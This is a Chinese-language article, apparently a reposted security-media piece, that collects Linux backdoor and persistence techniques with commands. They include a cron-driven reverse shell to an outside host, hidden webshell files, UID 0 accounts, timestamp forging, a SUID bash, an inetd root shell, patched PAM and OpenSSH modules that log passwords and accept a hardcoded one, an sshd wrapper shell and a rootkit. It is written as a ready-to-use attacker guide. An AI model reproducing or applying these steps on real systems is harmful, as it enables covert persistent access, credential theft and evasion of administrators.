Linux后门整理合集

UnixBash 远控后门

简介

利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器。

利用方法

先创建 /etc/xxxx 脚本文件(名字自己改),利用该脚本进行反弹。以下脚本代表全自动反弹到 8.8.8.8 的 53 端口。

nano /etc/xxxx

chmod +sx /etc/xxxx

然后我们需要修改一下 /etc/crontab 让它定时执行。

nano /etc/crontab 在 /etc/crontab 文件末加入这一行。代表每 1 分钟执行一次。

*/1 * * * * root /etc/xxxx

最后重启一下 crond 的服务。(不同发行版重启方式不一样,自行查询)

service cron reload

service cron start

然后在 8.8.8.8 的服务器上使用 NC 接收 Shell 即可。

nc -vv -lp 53

Linux/Unix 藏文件和文件夹

Linux/Unix 下想藏 Webshell 或者后门什么的,可以利用一下隐藏文件夹和文件。

方法一

比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a

touch .webshell.php 创建名字为 .webshell.php 的文件

mkdir .backdoor/ 创建名字为 .backdoor 的文件夹

终极方法

在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。

是文件的话浏览器访问直接输 ... 就行,目录同理。

touch ... 创建名字为 ... 的文件

mkdir ... 创建名字为 ... 的文件夹

效果如图:

Linux/Unix 添加 UID 为 0 的用户

简介

在 Unix 体系下,UID 为 0 就是 root 权限。所以渗透的时候可以添加一个 UID 为 0 的用户作为后门。

利用方法

useradd -o -u 0 backdoor

Linux/Unix 修改文件时间戳

简介

Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用touch就可以了。

比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。

利用方法

touch -r index.php webshell.php

或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。

系统环境:

dawg:~# uname -a

Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

SUID shell

利用方法 

首先, 先切换成为root用户,并执行以下的命令:

dawg:~# cp /bin/bash /.woot

dawg:~# chmod 4755 /.woot

dawg:~# ls -al /.woot

-rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot

当然, 你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的。

文件前面的那一点也不是必要的,只是为了隐藏文件( 在文件名的最前面加上“.”,就可以在任意文件目录下进行隐藏) .

现在,做为一个普通用户,我们来启用这个后门:

fw@dawg:~$ id

uid=1000(fw) gid=1000(fw) groups=1000(fw)

fw@dawg:~$ /.woot.woot-2.05b$ id

uid=1000(fw) gid=1000(fw) groups=1000(fw).woot-2.05b$

为什么不行呢?

因为 bash2 针对 suid有一些护卫的措施. 但这也不是不可破的:

.woot-2.05b$ /.woot -p

.woot-2.05b# id

uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)

使用-p参数来获取一个root shell. 这个euid的意思是 effective user id

这里要特别注意的是,作为一个普通用户执行这个SUID shell时,一定要使用全路径。

小知识:

如何查找那些具有SUID 的文件:

dawg:~# find / -perm +4000 -ls

这时就会返回具有SUID位的文件啦。

远程后门

利用方法

我们使用vi来修改 /etc/inetd.conf 文件

原文件:

#chargen dgram udp wait root internal

#discard stream tcp nowait root internal

#discard dgram udp wait root internal

#daytime stream tcp nowait root internal

修改为:

#discard stream tcp nowait root internal

#discard dgram udp wait root internal

daytime stream tcp nowait root /bin/bash bash -i

开启inetd:

dawg:~# inetd

如果要强制重启inetd:

dawg:~# ps -ef grep inetdroot

362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetdroot

13769 13643 0 17:51 pts/1 00:00:00 grep inetd

dawg:~# kill -HUP 362

现在我们就可以用nc来爆菊了:

可以修改/etc/services文件,加入以下的东西:

woot 6666/tcp #evil backdoor service

然后修改/etc/inetd.conf :

woot stream tcp nowait root /bin/bash bash -i

我们可以修改成一些常见的端口,以实现隐藏。

PAM后门

简介

PAM (Pluggable AuthenticationModules )是由Sun提出的一种认证机制。

它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。

PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX9.0等。

搭建PAM后门主要思路:pam_unix_auth.c打补丁安装到正常的PAM模块中。

利用方法

1、获取目标系统所使用的PAM版本:

rpm -qa grep pam

2、编译安装PAM

3、将本地pam_unix_auth.c文件通过打补丁方式,编译生成。

4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,后门密码为root123,并会在/tmp/pslog记录root登录密码。

特点:

优势:隐蔽性较强,不易被发现。

劣势:需要编译环境,缺少GCC或其他依赖包容易出现问题

openssh后门

简介

下载新版本的openssh,并下载对应patch包,这个patch文件包含sshbd5.9p1.diff文件为后门文件,

文件包括:auth.c、auth-pam.c、auth-passwd.c、canohost.c、includes.h、log.c、servconf.c、sshconnect2.c、sshlogin.c、version.h

利用方法

#tar -zxvf openssh-5.9p1.tar.gz

vim includes.h //修改后门密码,记录文件位置,

/*

#define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码

#define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码

#define SECRETPW "root123" //你后门的密码

*/

特点:

优势:隐蔽性较强,不易被发现。

劣势:需要编译环境,缺少GCC或其他依赖包容易出现问题。

快速获得ssh后门

简介

执行命令就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。

利用方法

在远程主机上执行:

#ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;

就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。

特点:

优势:隐蔽性较弱,适合短时间连接。

劣势:重启后会断开,无法后弹连接。

SSH wrapper后门

简介

init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。

原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。

此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。

利用方法

客户端:

[root@localhost ~]# cd /usr/sbin

[root@localhost sbin]# mv sshd ../bin

[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd

[root@localhost sbin]# echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd

[root@localhost sbin]# echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd

[root@localhost sbin]# chmod u+x sshd

[root@localhost sbin]# /etc/init.d/sshd restart

控制端:

socat STDIOTCP4:target_ip:22,sourceport=19526

特点:

优势:隐蔽性较强,无需要编译,使用于大部分环境中。

劣势:需要重启sshd进程。

mafix rootkit创建后门

简介

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。

利用方法

安装完成后,使用ssh 用户@IP -P 配置的端口,即可远程登录。

特点:

优势:隐蔽性一般,无需要编译。

劣势:会替换ls等命令,容易被识破

本文来自企鹅号 - SecPulse安全脉搏媒体

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏FreeBuf

挖洞姿势:特殊的上传技巧,绕过PHP图片转换实现远程代码执行(RCE)

我使用了一个特殊的图片上传技巧,绕过PHP GD库对图片的转换处理,最终成功实现了远程代码执行。 事情是这样的。当时我正在测试该网站上是否存在sql注入漏洞,不...

2369
来自专栏崔庆才的专栏

轻松获得海量稳定代理!ADSL拨号代理的搭建

5563
来自专栏黑白安全

PHP安全编码规范之安全配置篇

因为配置不当引发的安全问题是屡见不鲜的,通过一系列的安全配置,可以很好的解决一些安全隐患,从而为系统增加安全系数。但是在开发过程中,因为需求的改变和编程的习惯可...

822
来自专栏FreeBuf

如何确定恶意软件是否在自己的电脑中执行过?

很不幸,你在自己的电脑里发现了一个恶意的可执行程序!那么问题来了:这个文件到底有没有执行过? ? 在这篇文章中,我们会将注意力放在Windows操作系统的静态取...

2865
来自专栏FreeBuf

使用fuzzDB进行web安全测试

写在前面: fuzzDB看字面意思就知道,他是一个用于fuzz网站的库。类似于wwwscan之类工具的字典,但是他的过人之处是他是“开源”的,会有很多大神帮你维...

2318
来自专栏DeveWork

360安全扫描之WordPress 页面异常导致本地路径泄漏 的漏洞修补

今天头脑一热到360安全检测那里去为自己的网站进行安全扫描了一番。上次扫描还是一年前,当初扫描一个网站是 94 分,那时候还不懂代码,就这么挂着,被360 公开...

1825
来自专栏黑白安全

黑客专用XP系统-黑客渗透测试系统

宙斯是一种先进的侦察工具,旨在简化Web应用程序侦察。Zeus拥有强大的内置URL解析引擎,多种搜索引擎兼容性,能够从禁用和webcache URL中提取URL...

1112
来自专栏黑白安全

Zeus-Scanner 宙斯漏洞扫描器 一款开源漏洞扫描工具

宙斯是一种先进的侦察工具,旨在简化Web应用程序侦察。Zeus拥有强大的内置URL解析引擎,多种搜索引擎兼容性,能够从禁用和webcache URL中提取URL...

1503
来自专栏Urahara Blog

Equation Group泄漏工具简单试用与MS17-010漏洞利用

1533
来自专栏信安之路

Mimikatz 攻防杂谈

前几天看到了老外一篇讲 mimikatz 防御的文章,感觉行文思路还不错,但是内容稍有不足,国内也有一篇翻译,但是只是照着错误翻译的,所以就萌生了把那篇优秀文章...

742

扫码关注云+社区